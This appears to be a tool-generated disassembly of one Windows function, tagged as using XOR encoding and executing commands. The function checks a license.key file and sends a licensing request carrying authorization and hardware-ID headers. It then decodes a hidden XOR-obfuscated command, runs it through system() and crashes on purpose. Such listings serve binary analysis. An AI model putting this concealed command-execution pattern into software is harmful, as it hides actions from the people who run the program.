Function at 0x1400657e0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x1400da5c0]
xor rax, rsp
mov qword [rbp + 0x120], rax
xor edi, edi
mov dword [rsp + 0x68], edi
xorps xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rdi
mov esi, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x18], rsi
mov byte [rbp - 0x30], dil
lea r15, [0x140098730]
mov qword [rbp + 0x10], r15
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 1
mov dword [rsp + 0x68], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x10], r14
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xc], edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r13, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x20], r13
mov byte [rbp + 0x9c], dil
mov byte [rbp + 0x91], dil
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xa0], rdi
mov rax, qword [0x1400de6e0]
mov qword [rbp + 0x94], rax
mov qword [rbp + 0x88], rdi
mov r9d, 0x40
mov r8d, r12d
lea rdx, str.license.key
lea rcx, [rbp + 0x20]
call fcn.140076530
test rax, rax
jne 0x14006591a
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x10]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x10]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx ebx, al
mov rcx, qword [rbp + 0x10]
movsxd rdx, dword [rcx + 4]
mov qword [rbp + rdx + 0x10], r14
mov rcx, qword [rbp + 0x10]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xb0]
mov dword [rbp + rdx + 0xc], r8d
lea rcx, [rbp + 0x20]
call fcn.140047ab0
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test bl, bl
je 0x140065af3
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x10]
call fcn.140089d28
mov qword [rbp + 0x10], r15
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov r12d, 3
mov dword [rsp + 0x68], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x10]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x10], r14
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xc], edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rbp + 0x20], r13
mov byte [rbp + 0x9c], 0
mov byte [rbp + 0x91], 0
lea rcx, [rbp + 0x20]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 0xa0], rdi
mov rax, qword [0x1400de6e0]
mov qword [rbp + 0x94], rax
mov qword [rbp + 0x88], rdi
mov r9d, 0x40
mov r8d, 1
lea rdx, str.license.key
lea rcx, [rbp + 0x20]
call fcn.140076530
test rax, rax
jne 0x140065a5e
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x10]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x10]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x10]
call fcn.14003f980
lea rcx, [rbp + 0x20]
call fcn.140064b90
test rax, rax
jne 0x140065ab2
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x10]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x10], r14
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xc], edx
lea rcx, [rbp + 0x20]
call fcn.140047ab0
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140065b09
mov r8d, 4
lea rdx, [0x1400913c8]
lea rcx, [rbp - 0x30]
call fcn.1400614e0
mov ecx, 3
call sub.libcurl.dll_curl_global_init
call sub.libcurl.dll_curl_easy_init
mov qword [rbp - 0x80], rax
movabs rbx, 0x6707a91ed865dc80
test rax, rax
je 0x1400660db
lea rcx, [rbp - 0x10]
call fcn.14006c7d0
nop
lea rdx, str.Content_Type:_application_json
xor ecx, ecx
call sub.libcurl.dll_curl_slist_append
mov qword [rsp + 0x78], rax
mov r13, qword [rbp - 0x20]
movabs r14, 0x7fffffffffffffff
mov rcx, r14
sub rcx, r13
cmp rcx, 0xf
jb 0x140066250
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0xf
cmova rdx, qword [rbp - 0x30]
mov qword [rsp + 0x68], rdx
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
lea r15, [r13 + 0xf]
mov rbx, rsi
lea rsi, [rbp - 0x78]
movabs rax, 0x8000000000000000
mov ecx, reloc.WS2_32.dll_shutdown
cmp r15, rbx
jbe 0x140065c1b
mov rbx, r15
or rbx, 0xf
cmp rbx, r14
jbe 0x140065bdd
mov rbx, r14
add rax, 0x27
mov rcx, rax
call fcn.140088850
test rax, rax
je 0x140065cb1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140065c12
cmp rbx, rcx
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140065bf2
mov rsi, rdi
jmp 0x140065c17
cmp rcx, 0x1000
jb 0x140065c0a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140066244
jmp 0x140065bbe
call fcn.140088850
mov rsi, rax
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rbx
movsd xmm0, qword [str.authorization:]
movsd qword [rsi], xmm0
mov ecx, dword [0x140098d40]
mov dword [rsi + 8], ecx
movzx eax, word [0x140098d44]
mov word [rsi + 0xc], ax
movzx eax, byte [0x140098d46]
mov byte [rsi + 0xe], al
lea rcx, [rsi + 0xf]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
or r12d, 4
lea rdx, [rbp - 0x78]
cmp qword [rbp - 0x60], 0xf
cmova rdx, qword [rbp - 0x78]
mov rcx, qword [rsp + 0x78]
call sub.libcurl.dll_curl_slist_append
mov qword [rsp + 0x78], rax
mov rdx, qword [rbp - 0x60]
cmp rdx, 0xf
jbe 0x140065cbd
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065cb8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065cb8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008888c
movdqa xmm0, xmmword [0x1400963e0]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], 0
mov r13, qword [rbp]
mov rax, r14
sub rax, r13
cmp rax, 6
jb 0x140066256
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0xf
cmova rax, qword [rbp - 0x10]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [r13 + 6]
mov ebx, reloc.WS2_32.dll_ntohs
lea rsi, [rsp + 0x40]
cmp r15, rbx
jbe 0x140065d9e
mov rbx, r15
or rbx, 0xf
cmp rbx, r14
jbe 0x140065d59
mov rbx, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140088850
test rax, rax
je 0x140065e25
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140065d94
cmp rbx, 0x16
mov ecx, reloc.WS2_32.dll_shutdown
cmovb rbx, rcx
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140065d74
mov rsi, rdi
jmp 0x140065d99
cmp rcx, 0x1000
jb 0x140065d8c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14006624a
jmp 0x140065d3a
call fcn.140088850
mov rsi, rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
mov ecx, dword [str.hwid:]
mov dword [rsi], ecx
movzx ecx, word [0x140098d4c]
mov word [rsi + 4], cx
lea rcx, [rsi + 6]
mov r8, r13
mov rdx, rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + r15], 0
or r12d, 8
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x78]
call sub.libcurl.dll_curl_slist_append
mov rsi, rax
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140065e31
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140065e2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140065e2c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008888c
movdqa xmm0, xmmword [0x1400963e0]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rcx, qword [0x1400de3f8]
mov rdx, qword [0x1400de420]
sub r14, rcx
cmp r14, rdx
jb 0x14006623e
lea r9, [0x1400de3e8]
cmp qword [0x1400de400], 0xf
cmova r9, qword [0x1400de3e8]
lea rax, [0x1400de410]
cmp qword [0x1400de428], 0xf
cmova rax, qword [0x1400de410]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x1400de3e8]
movzx edx, byte [rsp + 0x70]
lea rcx, [rbp - 0x58]
call fcn.140044b00
or r12d, 0x10
mov dword [rsp + 0x68], r12d
lea r8, [rbp - 0x58]
cmp qword [rbp - 0x40], 0xf
cmova r8, qword [rbp - 0x58]
mov edx, 0x2712
mov rbx, qword [rbp - 0x80]
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
xor r8d, r8d
mov edx, 0x40
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
xor r8d, r8d
mov edx, 0x51
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
lea r8, [0x14005ba80]
mov edx, 0x4e2b
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
lea r8, [0x1400da120]
mov edx, 0x2711
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
mov r8, rsi
mov edx, 0x2727
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
mov qword [0x1400da130], rdi
lea rax, [0x1400da120]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rax, qword [0x1400da120]
mov byte [rax], 0
lea r8, [0x1400da120]
mov edx, 0x2711
mov rcx, rbx
call sub.libcurl.dll_curl_easy_setopt
mov rcx, rbx
call sub.libcurl.dll_curl_easy_perform
mov byte [rsp + 0x40], 0xd4
mov byte [rsp + 0x41], 0xc8
mov byte [rsp + 0x42], 0xdd
mov byte [rsp + 0x43], 0xc5
mov byte [rsp + 0x44], 0xca
mov byte [rsp + 0x45], 0xca
mov byte [rsp + 0x46], 0xc2
mov byte [rsp + 0x47], 0xc6
mov byte [rsp + 0x48], 0xa6
mov byte [rsp + 0x49], 0xa7
mov byte [rsp + 0x4a], 0xc5
mov byte [rsp + 0x4b], 0xa1
mov byte [rsp + 0x4c], 0xa4
mov byte [rsp + 0x4d], 0xc4
mov byte [rsp + 0x4e], 0xc4
mov byte [rsp + 0x4f], 0xa9
mov byte [rsp + 0x50], 0xe3
mov byte [rsp + 0x51], 0xef
mov byte [rsp + 0x52], 0xfd
mov byte [rsp + 0x53], 0xf6
mov byte [rsp + 0x54], 0xfe
mov byte [rsp + 0x55], 0xe0
mov byte [rsp + 0x56], 0xea
mov byte [rsp + 0x57], 0xb4
mov byte [rsp + 0x58], 0xf3
mov byte [rsp + 0x59], 0xe0
mov byte [rsp + 0x5a], 0xf6
mov byte [rsp + 0x5b], 0xb1
mov byte [rsp + 0x5c], 0xa9
mov byte [rsp + 0x5d], 0xa3
mov byte [rsp + 0x5e], 0xd7
mov byte [rsp + 0x5f], 0xcc
mov byte [rsp + 0x60], 0xec
mov byte [rsp + 0x61], 0xe5
mov byte [rsp + 0x62], 0xae
movzx eax, byte [rsp + 0x40]
mov r9, rdi
movabs rbx, 0x6707a91ed865dc80
mov r10, rbx
lea rax, [rsp + 0x40]
sub r10, rax
mov esi, reloc.WS2_32.dll_ntohs
nop
lea r8, [rsp + 0x40]
add r8, r9
mov rcx, r9
and ecx, esi
cmp rcx, rsi
cmovae rcx, rsi
shl cl, 2
mov rdx, rbx
shr rdx, cl
and dl, sil
lea eax, [r10 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rsp + r9 + 0x40], dl
inc r9
cmp r9, 0x23
jb 0x140066040
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [0], 1
mov r8, qword [rbp - 0x40]
cmp r8, rsi
jbe 0x1400660a7
mov rdx, qword [rbp - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14005cc30
movdqa xmm0, xmmword [0x1400963e0]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], 0
mov r8, qword [rbp + 8]
cmp r8, 0xf
jbe 0x1400660cf
mov rdx, qword [rbp - 0x10]
lea rcx, [rbp - 0x10]
call fcn.14005cc30
mov qword [rbp], rdi
mov qword [rbp + 8], rsi
mov byte [rbp - 0x10], 0
mov byte [rbp - 0x58], 0xd4
mov byte [rbp - 0x57], 0xc8
mov byte [rbp - 0x56], 0xdd
mov byte [rbp - 0x55], 0xc5
mov byte [rbp - 0x54], 0xca
mov byte [rbp - 0x53], 0xca
mov byte [rbp - 0x52], 0xc2
mov byte [rbp - 0x51], 0xc6
mov byte [rbp - 0x50], 0xa6
mov byte [rbp - 0x4f], 0xa7
mov byte [rbp - 0x4e], 0xc5
mov byte [rbp - 0x4d], 0xa1
mov byte [rbp - 0x4c], 0xa4
mov byte [rbp - 0x4b], 0xc4
mov byte [rbp - 0x4a], 0xc4
mov byte [rbp - 0x49], 0xa9
mov byte [rbp - 0x48], 0xe3
mov byte [rbp - 0x47], 0xef
mov byte [rbp - 0x46], 0xfd
mov byte [rbp - 0x45], 0xf6
mov byte [rbp - 0x44], 0xfe
mov byte [rbp - 0x43], 0xe0
mov byte [rbp - 0x42], 0xea
mov byte [rbp - 0x41], 0xb4
mov byte [rbp - 0x40], 0xf3
mov byte [rbp - 0x3f], 0xe0
mov byte [rbp - 0x3e], 0xf6
mov byte [rbp - 0x3d], 0xb1
mov byte [rbp - 0x3c], 0xa9
mov byte [rbp - 0x3b], 0xa3
mov byte [rbp - 0x3a], 0xd7
mov byte [rbp - 0x39], 0xcc
mov byte [rbp - 0x38], 0xec
mov byte [rbp - 0x37], 0xe5
mov byte [rbp - 0x36], 0xae
movzx eax, byte [rbp - 0x58]
mov r9, rbx
lea rax, [rbp - 0x58]
sub r9, rax
nop word [rax + rax]
lea r8, [rbp - 0x58]
add r8, rdi
mov rcx, rdi
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, rsi
shl cl, 2
mov rdx, rbx
shr rdx, cl
and dl, 0xf
lea eax, [r9 + r8]
xor dl, al
movzx eax, byte [r8]
xor dl, al
mov byte [rbp + rdi - 0x58], dl
inc rdi
cmp rdi, 0x23
jb 0x140066180
lea rcx, [rbp - 0x58]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [0], 1
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x14006620e
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140066209
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140066209
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008888c
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.140088830
lea r11, [rsp + 0x230]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140005320
nop
call fcn.140005300
int3
call fcn.140005300
int3
call fcn.140005320
int3
call fcn.140005320
int3